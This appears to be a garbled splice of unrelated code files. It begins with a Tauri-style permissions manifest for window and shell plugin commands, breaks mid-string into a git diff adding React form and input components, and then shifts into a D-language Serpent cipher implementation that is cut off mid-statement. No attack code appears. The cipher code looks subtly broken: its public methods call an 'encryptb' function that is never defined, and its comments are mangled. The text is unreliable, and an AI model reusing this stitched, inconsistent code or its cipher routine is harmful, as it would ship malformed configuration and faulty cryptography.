scope.","commands":{"allow":["set_cursor_icon"],"deny":[]}},"allow-set-cursor-position":{"identifier":"allow-set-cursor-position","description":"Enables the set_cursor_position command without any pre-configured scope.","commands":{"allow":["set_cursor_position"],"deny":[]}},"allow-set-cursor-visible":{"identifier":"allow-set-cursor-visible","description":"Enables the set_cursor_visible command without any pre-configured scope.","commands":{"allow":["set_cursor_visible"],"deny":[]}},"allow-set-decorations":{"identifier":"allow-set-decorations","description":"Enables the set_decorations command without any pre-configured scope.","commands":{"allow":["set_decorations"],"deny":[]}},"allow-set-effects":{"identifier":"allow-set-effects","description":"Enables the set_effects command without any pre-configured scope.","commands":{"allow":["set_effects"],"deny":[]}},"allow-set-enabled":{"identifier":"allow-set-enabled","description":"Enables the set_enabled command without any pre-configured scope.","commands":{"allow":["set_enabled"],"deny":[]}},"allow-set-focus":{"identifier":"allow-set-focus","description":"Enables the set_focus command without any pre-configured scope.","commands":{"allow":["set_focus"],"deny":[]}},"allow-set-fullscreen":{"identifier":"allow-set-fullscreen","description":"Enables the set_fullscreen command without any pre-configured scope.","commands":{"allow":["set_fullscreen"],"deny":[]}},"allow-set-icon":{"identifier":"allow-set-icon","description":"Enables the set_icon command without any pre-configured scope.","commands":{"allow":["set_icon"],"deny":[]}},"allow-set-ignore-cursor-events":{"identifier":"allow-set-ignore-cursor-events","description":"Enables the set_ignore_cursor_events command without any pre-configured scope.","commands":{"allow":["set_ignore_cursor_events"],"deny":[]}},"allow-set-max-size":{"identifier":"allow-set-max-size","description":"Enables the set_max_size command without any pre-configured scope.","commands":{"allow":["set_max_size"],"deny":[]}},"allow-set-maximizable":{"identifier":"allow-set-maximizable","description":"Enables the set_maximizable command without any pre-configured scope.","commands":{"allow":["set_maximizable"],"deny":[]}},"allow-set-min-size":{"identifier":"allow-set-min-size","description":"Enables the set_min_size command without any pre-configured scope.","commands":{"allow":["set_min_size"],"deny":[]}},"allow-set-minimizable":{"identifier":"allow-set-minimizable","description":"Enables the set_minimizable command without any pre-configured scope.","commands":{"allow":["set_minimizable"],"deny":[]}},"allow-set-position":{"identifier":"allow-set-position","description":"Enables the set_position command without any pre-configured scope.","commands":{"allow":["set_position"],"deny":[]}},"allow-set-progress-bar":{"identifier":"allow-set-progress-bar","description":"Enables the set_progress_bar command without any pre-configured scope.","commands":{"allow":["set_progress_bar"],"deny":[]}},"allow-set-resizable":{"identifier":"allow-set-resizable","description":"Enables the set_resizable command without any pre-configured scope.","commands":{"allow":["set_resizable"],"deny":[]}},"allow-set-shadow":{"identifier":"allow-set-shadow","description":"Enables the set_shadow command without any pre-configured scope.","commands":{"allow":["set_shadow"],"deny":[]}},"allow-set-size":{"identifier":"allow-set-size","description":"Enables the set_size command without any pre-configured scope.","commands":{"allow":["set_size"],"deny":[]}},"allow-set-size-constraints":{"identifier":"allow-set-size-constraints","description":"Enables the set_size_constraints command without any pre-configured scope.","commands":{"allow":["set_size_constraints"],"deny":[]}},"allow-set-skip-taskbar":{"identifier":"allow-set-skip-taskbar","description":"Enables the set_skip_taskbar command without any pre-configured scope.","commands":{"allow":["set_skip_taskbar"],"deny":[]}},"allow-set-theme":{"identifier":"allow-set-theme","description":"Enables the set_theme command without any pre-configured scope.","commands":{"allow":["set_theme"],"deny":[]}},"allow-set-title":{"identifier":"allow-set-title","description":"Enables the set_title command without any pre-configured scope.","commands":{"allow":["set_title"],"deny":[]}},"allow-set-title-bar-style":{"identifier":"allow-set-title-bar-style","description":"Enables the set_title_bar_style command without any pre-configured scope.","commands":{"allow":["set_title_bar_style"],"deny":[]}},"allow-set-visible-on-all-workspaces":{"identifier":"allow-set-visible-on-all-workspaces","description":"Enables the set_visible_on_all_workspaces command without any pre-configured scope.","commands":{"allow":["set_visible_on_all_workspaces"],"deny":[]}},"allow-show":{"identifier":"allow-show","description":"Enables the show command without any pre-configured scope.","commands":{"allow":["show"],"deny":[]}},"allow-start-dragging":{"identifier":"allow-start-dragging","description":"Enables the start_dragging command without any pre-configured scope.","commands":{"allow":["start_dragging"],"deny":[]}},"allow-start-resize-dragging":{"identifier":"allow-start-resize-dragging","description":"Enables the start_resize_dragging command without any pre-configured scope.","commands":{"allow":["start_resize_dragging"],"deny":[]}},"allow-theme":{"identifier":"allow-theme","description":"Enables the theme command without any pre-configured scope.","commands":{"allow":["theme"],"deny":[]}},"allow-title":{"identifier":"allow-title","description":"Enables the title command without any pre-configured scope.","commands":{"allow":["title"],"deny":[]}},"allow-toggle-maximize":{"identifier":"allow-toggle-maximize","description":"Enables the toggle_maximize command without any pre-configured scope.","commands":{"allow":["toggle_maximize"],"deny":[]}},"allow-unmaximize":{"identifier":"allow-unmaximize","description":"Enables the unmaximize command without any pre-configured scope.","commands":{"allow":["unmaximize"],"deny":[]}},"allow-unminimize":{"identifier":"allow-unminimize","description":"Enables the unminimize command without any pre-configured scope.","commands":{"allow":["unminimize"],"deny":[]}},"deny-available-monitors":{"identifier":"deny-available-monitors","description":"Denies the available_monitors command without any pre-configured scope.","commands":{"allow":[],"deny":["available_monitors"]}},"deny-center":{"identifier":"deny-center","description":"Denies the center command without any pre-configured scope.","commands":{"allow":[],"deny":["center"]}},"deny-close":{"identifier":"deny-close","description":"Denies the close command without any pre-configured scope.","commands":{"allow":[],"deny":["close"]}},"deny-create":{"identifier":"deny-create","description":"Denies the create command without any pre-configured scope.","commands":{"allow":[],"deny":["create"]}},"deny-current-monitor":{"identifier":"deny-current-monitor","description":"Denies the current_monitor command without any pre-configured scope.","commands":{"allow":[],"deny":["current_monitor"]}},"deny-cursor-position":{"identifier":"deny-cursor-position","description":"Denies the cursor_position command without any pre-configured scope.","commands":{"allow":[],"deny":["cursor_position"]}},"deny-destroy":{"identifier":"deny-destroy","description":"Denies the destroy command without any pre-configured scope.","commands":{"allow":[],"deny":["destroy"]}},"deny-get-all-windows":{"identifier":"deny-get-all-windows","description":"Denies the get_all_windows command without any pre-configured scope.","commands":{"allow":[],"deny":["get_all_windows"]}},"deny-hide":{"identifier":"deny-hide","description":"Denies the hide command without any pre-configured scope.","commands":{"allow":[],"deny":["hide"]}},"deny-inner-position":{"identifier":"deny-inner-position","description":"Denies the inner_position command without any pre-configured scope.","commands":{"allow":[],"deny":["inner_position"]}},"deny-inner-size":{"identifier":"deny-inner-size","description":"Denies the inner_size command without any pre-configured scope.","commands":{"allow":[],"deny":["inner_size"]}},"deny-internal-toggle-maximize":{"identifier":"deny-internal-toggle-maximize","description":"Denies the internal_toggle_maximize command without any pre-configured scope.","commands":{"allow":[],"deny":["internal_toggle_maximize"]}},"deny-is-closable":{"identifier":"deny-is-closable","description":"Denies the is_closable command without any pre-configured scope.","commands":{"allow":[],"deny":["is_closable"]}},"deny-is-decorated":{"identifier":"deny-is-decorated","description":"Denies the is_decorated command without any pre-configured scope.","commands":{"allow":[],"deny":["is_decorated"]}},"deny-is-enabled":{"identifier":"deny-is-enabled","description":"Denies the is_enabled command without any pre-configured scope.","commands":{"allow":[],"deny":["is_enabled"]}},"deny-is-focused":{"identifier":"deny-is-focused","description":"Denies the is_focused command without any pre-configured scope.","commands":{"allow":[],"deny":["is_focused"]}},"deny-is-fullscreen":{"identifier":"deny-is-fullscreen","description":"Denies the is_fullscreen command without any pre-configured scope.","commands":{"allow":[],"deny":["is_fullscreen"]}},"deny-is-maximizable":{"identifier":"deny-is-maximizable","description":"Denies the is_maximizable command without any pre-configured scope.","commands":{"allow":[],"deny":["is_maximizable"]}},"deny-is-maximized":{"identifier":"deny-is-maximized","description":"Denies the is_maximized command without any pre-configured scope.","commands":{"allow":[],"deny":["is_maximized"]}},"deny-is-minimizable":{"identifier":"deny-is-minimizable","description":"Denies the is_minimizable command without any pre-configured scope.","commands":{"allow":[],"deny":["is_minimizable"]}},"deny-is-minimized":{"identifier":"deny-is-minimized","description":"Denies the is_minimized command without any pre-configured scope.","commands":{"allow":[],"deny":["is_minimized"]}},"deny-is-resizable":{"identifier":"deny-is-resizable","description":"Denies the is_resizable command without any pre-configured scope.","commands":{"allow":[],"deny":["is_resizable"]}},"deny-is-visible":{"identifier":"deny-is-visible","description":"Denies the is_visible command without any pre-configured scope.","commands":{"allow":[],"deny":["is_visible"]}},"deny-maximize":{"identifier":"deny-maximize","description":"Denies the maximize command without any pre-configured scope.","commands":{"allow":[],"deny":["maximize"]}},"deny-minimize":{"identifier":"deny-minimize","description":"Denies the minimize command without any pre-configured scope.","commands":{"allow":[],"deny":["minimize"]}},"deny-monitor-from-point":{"identifier":"deny-monitor-from-point","description":"Denies the monitor_from_point command without any pre-configured scope.","commands":{"allow":[],"deny":["monitor_from_point"]}},"deny-outer-position":{"identifier":"deny-outer-position","description":"Denies the outer_position command without any pre-configured scope.","commands":{"allow":[],"deny":["outer_position"]}},"deny-outer-size":{"identifier":"deny-outer-size","description":"Denies the outer_size command without any pre-configured scope.","commands":{"allow":[],"deny":["outer_size"]}},"deny-primary-monitor":{"identifier":"deny-primary-monitor","description":"Denies the primary_monitor command without any pre-configured scope.","commands":{"allow":[],"deny":["primary_monitor"]}},"deny-request-user-attention":{"identifier":"deny-request-user-attention","description":"Denies the request_user_attention command without any pre-configured scope.","commands":{"allow":[],"deny":["request_user_attention"]}},"deny-scale-factor":{"identifier":"deny-scale-factor","description":"Denies the scale_factor command without any pre-configured scope.","commands":{"allow":[],"deny":["scale_factor"]}},"deny-set-always-on-bottom":{"identifier":"deny-set-always-on-bottom","description":"Denies the set_always_on_bottom command without any pre-configured scope.","commands":{"allow":[],"deny":["set_always_on_bottom"]}},"deny-set-always-on-top":{"identifier":"deny-set-always-on-top","description":"Denies the set_always_on_top command without any pre-configured scope.","commands":{"allow":[],"deny":["set_always_on_top"]}},"deny-set-closable":{"identifier":"deny-set-closable","description":"Denies the set_closable command without any pre-configured scope.","commands":{"allow":[],"deny":["set_closable"]}},"deny-set-content-protected":{"identifier":"deny-set-content-protected","description":"Denies the set_content_protected command without any pre-configured scope.","commands":{"allow":[],"deny":["set_content_protected"]}},"deny-set-cursor-grab":{"identifier":"deny-set-cursor-grab","description":"Denies the set_cursor_grab command without any pre-configured scope.","commands":{"allow":[],"deny":["set_cursor_grab"]}},"deny-set-cursor-icon":{"identifier":"deny-set-cursor-icon","description":"Denies the set_cursor_icon command without any pre-configured scope.","commands":{"allow":[],"deny":["set_cursor_icon"]}},"deny-set-cursor-position":{"identifier":"deny-set-cursor-position","description":"Denies the set_cursor_position command without any pre-configured scope.","commands":{"allow":[],"deny":["set_cursor_position"]}},"deny-set-cursor-visible":{"identifier":"deny-set-cursor-visible","description":"Denies the set_cursor_visible command without any pre-configured scope.","commands":{"allow":[],"deny":["set_cursor_visible"]}},"deny-set-decorations":{"identifier":"deny-set-decorations","description":"Denies the set_decorations command without any pre-configured scope.","commands":{"allow":[],"deny":["set_decorations"]}},"deny-set-effects":{"identifier":"deny-set-effects","description":"Denies the set_effects command without any pre-configured scope.","commands":{"allow":[],"deny":["set_effects"]}},"deny-set-enabled":{"identifier":"deny-set-enabled","description":"Denies the set_enabled command without any pre-configured scope.","commands":{"allow":[],"deny":["set_enabled"]}},"deny-set-focus":{"identifier":"deny-set-focus","description":"Denies the set_focus command without any pre-configured scope.","commands":{"allow":[],"deny":["set_focus"]}},"deny-set-fullscreen":{"identifier":"deny-set-fullscreen","description":"Denies the set_fullscreen command without any pre-configured scope.","commands":{"allow":[],"deny":["set_fullscreen"]}},"deny-set-icon":{"identifier":"deny-set-icon","description":"Denies the set_icon command without any pre-configured scope.","commands":{"allow":[],"deny":["set_icon"]}},"deny-set-ignore-cursor-events":{"identifier":"deny-set-ignore-cursor-events","description":"Denies the set_ignore_cursor_events command without any pre-configured scope.","commands":{"allow":[],"deny":["set_ignore_cursor_events"]}},"deny-set-max-size":{"identifier":"deny-set-max-size","description":"Denies the set_max_size command without any pre-configured scope.","commands":{"allow":[],"deny":["set_max_size"]}},"deny-set-maximizable":{"identifier":"deny-set-maximizable","description":"Denies the set_maximizable command without any pre-configured scope.","commands":{"allow":[],"deny":["set_maximizable"]}},"deny-set-min-size":{"identifier":"deny-set-min-size","description":"Denies the set_min_size command without any pre-configured scope.","commands":{"allow":[],"deny":["set_min_size"]}},"deny-set-minimizable":{"identifier":"deny-set-minimizable","description":"Denies the set_minimizable command without any pre-configured scope.","commands":{"allow":[],"deny":["set_minimizable"]}},"deny-set-position":{"identifier":"deny-set-position","description":"Denies the set_position command without any pre-configured scope.","commands":{"allow":[],"deny":["set_position"]}},"deny-set-progress-bar":{"identifier":"deny-set-progress-bar","description":"Denies the set_progress_bar command without any pre-configured scope.","commands":{"allow":[],"deny":["set_progress_bar"]}},"deny-set-resizable":{"identifier":"deny-set-resizable","description":"Denies the set_resizable command without any pre-configured scope.","commands":{"allow":[],"deny":["set_resizable"]}},"deny-set-shadow":{"identifier":"deny-set-shadow","description":"Denies the set_shadow command without any pre-configured scope.","commands":{"allow":[],"deny":["set_shadow"]}},"deny-set-size":{"identifier":"deny-set-size","description":"Denies the set_size command without any pre-configured scope.","commands":{"allow":[],"deny":["set_size"]}},"deny-set-size-constraints":{"identifier":"deny-set-size-constraints","description":"Denies the set_size_constraints command without any pre-configured scope.","commands":{"allow":[],"deny":["set_size_constraints"]}},"deny-set-skip-taskbar":{"identifier":"deny-set-skip-taskbar","description":"Denies the set_skip_taskbar command without any pre-configured scope.","commands":{"allow":[],"deny":["set_skip_taskbar"]}},"deny-set-theme":{"identifier":"deny-set-theme","description":"Denies the set_theme command without any pre-configured scope.","commands":{"allow":[],"deny":["set_theme"]}},"deny-set-title":{"identifier":"deny-set-title","description":"Denies the set_title command without any pre-configured scope.","commands":{"allow":[],"deny":["set_title"]}},"deny-set-title-bar-style":{"identifier":"deny-set-title-bar-style","description":"Denies the set_title_bar_style command without any pre-configured scope.","commands":{"allow":[],"deny":["set_title_bar_style"]}},"deny-set-visible-on-all-workspaces":{"identifier":"deny-set-visible-on-all-workspaces","description":"Denies the set_visible_on_all_workspaces command without any pre-configured scope.","commands":{"allow":[],"deny":["set_visible_on_all_workspaces"]}},"deny-show":{"identifier":"deny-show","description":"Denies the show command without any pre-configured scope.","commands":{"allow":[],"deny":["show"]}},"deny-start-dragging":{"identifier":"deny-start-dragging","description":"Denies the start_dragging command without any pre-configured scope.","commands":{"allow":[],"deny":["start_dragging"]}},"deny-start-resize-dragging":{"identifier":"deny-start-resize-dragging","description":"Denies the start_resize_dragging command without any pre-configured scope.","commands":{"allow":[],"deny":["start_resize_dragging"]}},"deny-theme":{"identifier":"deny-theme","description":"Denies the theme command without any pre-configured scope.","commands":{"allow":[],"deny":["theme"]}},"deny-title":{"identifier":"deny-title","description":"Denies the title command without any pre-configured scope.","commands":{"allow":[],"deny":["title"]}},"deny-toggle-maximize":{"identifier":"deny-toggle-maximize","description":"Denies the toggle_maximize command without any pre-configured scope.","commands":{"allow":[],"deny":["toggle_maximize"]}},"deny-unmaximize":{"identifier":"deny-unmaximize","description":"Denies the unmaximize command without any pre-configured scope.","commands":{"allow":[],"deny":["unmaximize"]}},"deny-unminimize":{"identifier":"deny-unminimize","description":"Denies the unminimize command without any pre-configured scope.","commands":{"allow":[],"deny":["unminimize"]}}},"permission_sets":{},"global_scope_schema":null},"shell":{"default_permission":{"identifier":"default","description":"This permission set configures which\nshell functionality is exposed by default.\n\n#### Granted Permissions\n\nIt allows to use the `open` functionality without any specific\nscope pre-configured. It will allow opening `http(s)://`,\n`tel:` and `mailto:` links.\n","permissions":["allow-open"]},"permissions":{"allow-execute":{"identifier":"allow-execute","description":"Enables the execute command without any pre-configured scope.","commands":{"allow":["execute"],"deny":[]}},"allow-kill":{"identifier":"allow-kill","description":"Enables the kill command without any pre-configured scope.","commands":{"allow":["kill"],"deny":[]}},"allow-open":{"identifier":"allow-open","description":"Enables the open command without any pre-configured scope.","commands":{"allow":["open"],"deny":[]}},"allow-spawn":{"identifier":"allow-spawn","description":"Enables the spawn command without any pre-configured scope.","commands":{"allow":["spawn"],"deny":[]}},"allow-stdin-write":{"identifier":"allow-stdin-write","description":"Enables the stdin_write command without any pre-configured scope.","commands":{"allow":["stdin_write"],"deny":[]}},"deny-execute":{"identifier":"deny-execute","description":"Denies the execute command without any pre-configured scope.","commands":{"allow":[],"deny":["execute"]}},"deny-kill":{"identifier":"deny-kill","description":"Denies the kill command without any pre-configured scope.","commands":{"allow":[],"deny":["kill"]}},"deny-open":{"identifier":"deny-open","description":"Denies the open command without any pre-configured scope.","commands":{"allow":[],"deny":["open"]}},"deny-spawn":{"identifier":"deny-spawn","description":"Denies the spawn command without any pre-configured scope.","commands":{"allow":[],"deny":["spawn"]}},"deny-stdin-write":{"identifier":"deny-stdin-write","description":"Denies the stdin_write command without any pre-configured scope.","commands":{"allow":[],"deny":["stdin_write"]}}},"permission_sets":{},"global_scope_schema":{"$schema":"http://json-schema.org/draft-07/schema#","anyOf":[{"additionalProperties":false,"properties":{"args":{"allOf":[{"$ref":"#/definitions/ShellScopeEntryAllowedArgs"}],"description":"The allowed arguments for the command execution."},"cmd":{"description":"The command name. It can start with a variable that resolves to a system base directory. The variables are: `$AUDIO`, `$CACHE`, `$CONFIG`, `$DATA`, `$LOCALDATA`, `$DESKTOP`, `$DOCUMENT`, `$DOWNLOAD`, `$EXE`, `$FONT`, `$HOME`, `$PICTURE`, `$PUBLIC`, `$RUNTIME`, `$TEMPLATE`, `$VIDEO`, `$RESOURCE`, `$LOG`, `$TEMP`, `$APPCONFIG`, `$APPDATA`, `$APPLOCALDATA`, `$APPCACHE`, `$APPLOG`.","type":"string"},"name":{"description":"The name for this allowed shell command configuration.\n\nThis name will be used inside of the webview API to call this command along with any specified arguments.","type":"string"}},"required":["cmd","name"],"type":"object"},{"additionalProperties":false,"properties":{"args":{"allOf":[{"$ref":"#/definitions/ShellScopeEntryAllowedArgs"}],"description":"The allowed arguments for the command execution."},"name":{"description":"The name for this allowed shell command configuration.\n\nThis name will be used inside of the webview API to call this command along with any specified arguments.","type":"string"},"sidecar":{"description":"If this command is a sidecar command.","type":"boolean"}},"required":["name","sidecar"],"type":"object"}],"definitions":{"ShellScopeEntryAllowedArg":{"anyOf":[{"description":"A non-configurable argument that is passed to the command in the order it was specified.","type":"string"},{"additionalProperties":false,"description":"A variable that is set while calling the command from the webview API.","properties":{"raw":{"default":false,"description":"Marks the validator as a raw regex, meaning the plugin should not make any modification at runtime.\n\nThis means the regex will not match on the entire string by default, which might be exploited if your regex allow unexpected input to be considered valid. When using this option, make sure your regex is correct.","type":"boolean"},"validator":{"description":"[regex] validator to require passed values to conform to an expected input.\n\nThis will require the argument value passed to this variable to match the `validator` regex before it will be executed.\n\nThe regex string is by default surrounded by `^...$` to match the full string. For example the `https?://\\w+` regex would be registered as `^https?://\\w+$`.\n\n[regex]:+ {body} +
+ ) +}) +FormMessage.displayName = "FormMessage" + +export { + useFormField, + Form, + FormItem, + FormLabel, + FormControl, + FormDescription, + FormMessage, + FormField, +} diff --git a/full/Angel-client/src/components/ui/input.tsx b/full/Angel-client/src/components/ui/input.tsx new file mode 100644 index 0000000..b812bde --- /dev/null +++ b/full/Angel-client/src/components/ui/input.tsx @@ -0,0 +1,25 @@ +import * as React from "react" + +import { cn } from "@/lib/utils" + +export interface InputProps + extends React.InputHTMLAttributes
+
+ + * Serpent was designed by Ross Anderson, Eli Biham and Lars Knudsen as a + * candidate algorithm for the NIST AES Quest.> + *
+ * For full details see the The Serpent home page + */ +@safe +public struct Serpent +{ + + public enum name = "Serpent"; + public enum blockSize = 16; + + private { + enum ROUNDS = 32; + enum uint PHI = 0x9E3779B9; // (sqrt(5) - 1) * 2**31 + + uint X0, X1, X2, X3; // registers + uint[(ROUNDS + 1) * 4] wKey; + + //bool encrypting; + bool initialized = false; + } + + /// Params: + /// forEncryption = `false`: decrypt, `true`: encrypt + /// userKey = Secret key. + /// iv = Not used. + + void start(in ubyte[] userKey, in ubyte[] iv = null) nothrow @nogc + { + makeWorkingKey(userKey); + initialized = true; + } + + + public uint encrypt(in ubyte[] input, ubyte[] output) nothrow @nogc + in { + assert(initialized, "Serpent engine not initialized"); + assert(blockSize<=input.length, "input buffer too short"); + assert(blockSize<=output.length, "output buffer too short"); + } + body { + encryptb(input, output); + + return blockSize; + } + + public uint decrypt(in ubyte[] input, ubyte[] output) nothrow @nogc + in { + assert(initialized, "Serpent engine not initialized"); + assert(blockSize<=input.length, "input buffer too short"); + assert(blockSize<=output.length, "output buffer too short"); + } + body { + decryptb(input, output); + + return blockSize; + } + + public void reset() pure nothrow @nogc + { + } + +private: + /** + * Expand a user-supplied key material into a session key. + * + * Params: + * key The user-key bytes (multiples of 4) to use. + */ + private void makeWorkingKey(in ubyte[] key) nothrow @nogc + in { + assert(key.length % 4 == 0, "key must be a multiple of 4 bytes"); + } + body { + // + // pad key to 256 bits + // + uint[16] kPad; + size_t off = 0; + uint length = 0; + + for (off = key.length - 4; off > 0; off -= 4) + { + kPad[length++] = fromBigEndian!uint(key[off..off+4]); + } + + if (off == 0) + { + kPad[length++] = fromBigEndian!uint(key[0..4]); + if (length < 8) + { + kPad[length] = 1; + } + } + else + { + assert(false, "key must be a multiple of 4 bytes"); + } + + // + // expand the padded key up to 33 x 128 bits of key material + // + enum amount = (ROUNDS + 1) * 4; + alias wKey w; + + // + // compute w0 to w7 from w-8 to w-1 + // + foreach (i;8..16) + { + kPad[i] = rotateLeft(kPad[i - 8] ^ kPad[i - 5] ^ kPad[i - 3] ^ kPad[i - 1] ^ PHI ^ (i - 8), 11); + } + + w[0..8] = kPad[8..16]; + + // + // compute w8 to w136 + // + foreach(i;8..amount) + { + w[i] = rotateLeft(w[i - 8] ^ w[i - 5] ^ w[i - 3] ^ w[i - 1] ^ PHI ^ i, 11); + } + + // + // create the working keys by processing w with the Sbox and IP + // + sb3(w[0], w[1], w[2], w[3]); + w[0] = X0; + w[1] = X1; + w[2] = X2; + w[3] = X3; + sb2(w[4], w[5], w[6], w[7]); + w[4] = X0; + w[5] = X1; + w[6] = X2; + w[7] = X3; + sb1(w[8], w[9], w[10], w[11]); + w[8] = X0; + w[9] = X1; + w[10] = X2; + w[11] = X3; + sb0(w[12], w[13], w[14], w[15]); + w[12] = X0; + w[13] = X1; + w[14] = X2; + w[15] = X3; + sb7(w[16], w[17], w[18], w[19]); + w[16] = X0; + w[17] = X1; + w[18] = X2; + w[19] = X3; + sb6(w[20], w[21], w[22], w[23]); + w[20] = X0; + w[21] = X1; + w[22] = X2; + w[23] = X3; + sb5(w[24], w[25], w[26], w[27]); + w[24] = X0; + w[25] = X1; + w[26] = X2; + w[27] = X3; + sb4(w[28], w[29], w[30], w[31]); + w[28] = X0; + w[29] = X1; + w[30] = X2; + w[31] = X3; + sb3(w[32], w[33], w[34], w[35]); + w[32] = X0; + w[33] = X1; + w[34] = X2; + w[35] = X3; + sb2(w[36], w[37], w[38], w[39]); + w[36] = X0; + w[37] = X1; + w[38] = X2; + w[39] = X3; + sb1(w[40], w[41], w[42], w[43]); + w[40] = X0; + w[41] = X1; + w[42] = X2; + w[43] = X3; + sb0(w[44], w[45], w[46], w[47]); + w[44] = X0; + w[45] = X1; + w[46] = X2; + w[47] = X3; + sb7(w[48], w[49], w[50], w[51]); + w[48] = X0; + w[49] = X1; + w[50] = X2; + w[51] = X3; + sb6(w[52], w[53], w[54], w[55]); + w[52] = X0; + w[53] = X1; + w[54] = X2; + w[55] = X3; + sb5(w[56], w[57], w[58], w[59]); + w[56] = X0; + w[57] = X1; + w[58] = X2; + w[59] = X3; + sb4(w[60], w[61], w[62], w[63]); + w[60] = X0; + w[61] = X1; + w[62] = X2; + w[63] = X3; + sb3(w[64], w[65], w[66], w[67]); + w[64] = X0; + w[65] = X1; + w[66] = X2; + w[67] = X3; + sb2(w[68], w[69], w[70], w[71]); + w[68] = X0; + w[69] = X1; + w[70] = X2; + w[71] = X3; + sb1(w[72], w[73], w[74], w[75]); + w[72] = X0; + w[73] = X1; + w[74] = X2; + w[75] = X3; + sb0(w[76], w[77], w[78], w[79]); + w[76] = X0; + w[77] = X1; + w[78] = X2; + w[79] = X3; + sb7(w[80], w[81], w[82], w[83]); + w[80] = X0; + w[81] = X1; + w[82] = X2; + w[83] = X3; + sb6(w[84], w[85], w[86], w[87]); + w[84] = X0; + w[85] = X1; + w[86] = X2; + w[87] = X3; + sb5(w[88], w[89], w[90], w[91]); + w[88] = X0; + w[89] = X1; + w[90] = X2; + w[91] = X3; + sb4(w[92], w[93], w[94], w[95]); + w[92] = X0; + w[93] = X1; + w[94] = X2; + w[95] = X3; + sb3(w[96], w[97], w[98], w[99]); + w[96] = X0; + w[97] = X1; + w[98] = X2; + w[99] = X3; + sb2(w[100], w[101], w[102], w[103]); + w[100] = X0; + w[101] = X1; + w[102] = X2; + w[103] = X3; + sb1(w[104], w[105], w[106], w[107]); + w[104] = X0; + w[105] = X1; + w[106] = X2; + w[107] = X3; + sb0(w[108], w[109], w[110], w[111]); + w[108] = X0; + w[109] = X1; + w[110] = X2; + w[111] = X3; + sb7(w[112], w[113], w[114], w[115]); + w[112] = X0; + w[113] = X1; + w[114] = X2; + w[115] = X3; + sb6(w[116], w[117], w[118], w[119]); + w[116] = X0; + w[117] = X1; + w[118] = X2; + w[119] = X3; + sb5(w[120], w[121], w[122], w[123]); + w[120] = X0; + w[121] = X1; + w[122] = X2; + w[123] = X3; + sb4(w[124], w[125], w[126], w[127]); + w[124] = X0; + w[125] = X1; + w[126] = X2; + w[127] = X3; + sb3(w[128], w[129], w[130], w[131]); + w[128] = X0; + w[129] = X1; + w[130] = X2; + w[131] = X3; + } + + /** + * Encrypt one block of plaintext. + * + */ + private void encryptBlock(in ubyte[] input, ubyte[] output) nothrow @nogc + { + X3 = fromBigEndian!uint(input[0..4]); + X2 = fromBigEndian!uint(input[4..8]); + X1 = fromBigEndian!uint(input[8..12]); + X0 = fromBigEndian!uint(input[12..16]); + + sb0(wKey[0] ^ X0, wKey[1] ^ X1, wKey[2] ^ X2, wKey[3] ^ X3); + LT(); + sb1(wKey[4] ^ X0, wKey[5] ^ X1, wKey[6] ^ X2, wKey[7] ^ X3); + LT(); + sb2(wKey[8] ^ X0, wKey[9] ^ X1, wKey[10] ^ X2, wKey[11] ^ X3); + LT(); + sb3(wKey[12] ^ X0, wKey[13] ^ X1, wKey[14] ^ X2, wKey[15] ^ X3); + LT(); + sb4(wKey[16] ^ X0, wKey[17] ^ X1, wKey[18] ^ X2, wKey[19] ^ X3); + LT(); + sb5(wKey[20] ^ X0, wKey[21] ^ X1, wKey[22] ^ X2, wKey[23] ^ X3); + LT(); + sb6(wKey[24] ^ X0, wKey[25] ^ X1, wKey[26] ^ X2, wKey[27] ^ X3); + LT(); + sb7(wKey[28] ^ X0, wKey[29] ^ X1, wKey[30] ^ X2, wKey[31] ^ X3); + LT(); + sb0(wKey[32] ^ X0, wKey[33] ^ X1, wKey[34] ^ X2, wKey[35] ^ X3); + LT(); + sb1(wKey[36] ^ X0, wKey[37] ^ X1, wKey[38] ^ X2, wKey[39] ^ X3); + LT(); + sb2(wKey[40] ^ X0, wKey[41] ^ X1, wKey[42] ^ X2, wKey[43] ^ X3); + LT(); + sb3(wKey[44] ^ X0, wKey[45] ^ X1, wKey[46] ^ X2, wKey[47] ^ X3); + LT(); + sb4(wKey[48] ^ X0, wKey[49] ^ X1, wKey[50] ^ X2, wKey[51] ^ X3); + LT(); + sb5(wKey[52] ^ X0, wKey[53] ^ X1, wKey[54] ^ X2, wKey[55] ^ X3); + LT(); + sb6(wKey[56] ^ X0, wKey[57] ^ X1, wKey[58] ^ X2, wKey[59] ^ X3); + LT(); + sb7(wKey[60] ^ X0, wKey[61] ^ X1, wKey[62] ^ X2, wKey[63] ^ X3); + LT(); + sb0(wKey[64] ^ X0, wKey[65] ^ X1, wKey[66] ^ X2, wKey[67] ^ X3); + LT(); + sb1(wKey[68] ^ X0, wKey[69] ^ X1, wKey[70] ^ X2, wKey[71] ^ X3); + LT(); + sb2(wKey[72] ^ X0, wKey[73] ^ X1, wKey[74] ^ X2, wKey[75] ^ X3); + LT(); + sb3(wKey[76] ^ X0, wKey[77] ^ X1, wKey[78] ^ X2, wKey[79] ^ X3); + LT(); + sb4(wKey[80] ^ X0, wKey[81] ^ X1, wKey[82] ^ X2, wKey[83] ^ X3); + LT(); + sb5(wKey[84] ^ X0, wKey[85] ^ X1, wKey[86] ^ X2, wKey[87] ^ X3); + LT(); + sb6(wKey[88] ^ X0, wKey[89] ^ X1, wKey[90] ^ X2, wKey[91] ^ X3); + LT(); + sb7(wKey[92] ^ X0, wKey[93] ^ X1, wKey[94] ^ X2, wKey[95] ^ X3); + LT(); + sb0(wKey[96] ^ X0, wKey[97] ^ X1, wKey[98] ^ X2, wKey[99] ^ X3); + LT(); + sb1(wKey[100] ^ X0, wKey[101] ^ X1, wKey[102] ^ X2, wKey[103] ^ X3); + LT(); + sb2(wKey[104] ^ X0, wKey[105] ^ X1, wKey[106] ^ X2, wKey[107] ^ X3); + LT(); + sb3(wKey[108] ^ X0, wKey[109] ^ X1, wKey[110] ^ X2, wKey[111] ^ X3); + LT(); + sb4(wKey[112] ^ X0, wKey[113] ^ X1, wKey[114] ^ X2, wKey[115] ^ X3); + LT(); + sb5(wKey[116] ^ X0, wKey[117] ^ X1, wKey[118] ^ X2, wKey[119] ^ X3); + LT(); + sb6(wKey[120] ^ X0, wKey[121] ^ X1, wKey[122] ^ X2, wKey[123] ^ X3); + LT(); + sb7(wKey[124] ^ X0, wKey[125] ^ X1, wKey[126] ^ X2, wKey[127] ^ X3); + + toBigEndian!uint(wKey[131] ^ X3, output[0..4]); + toBigEndian!uint(wKey[130] ^ X2, output[4..8]); + toBigEndian!uint(wKey[129] ^ X1, output[8..12]); + toBigEndian!uint(wKey[128] ^ X0, 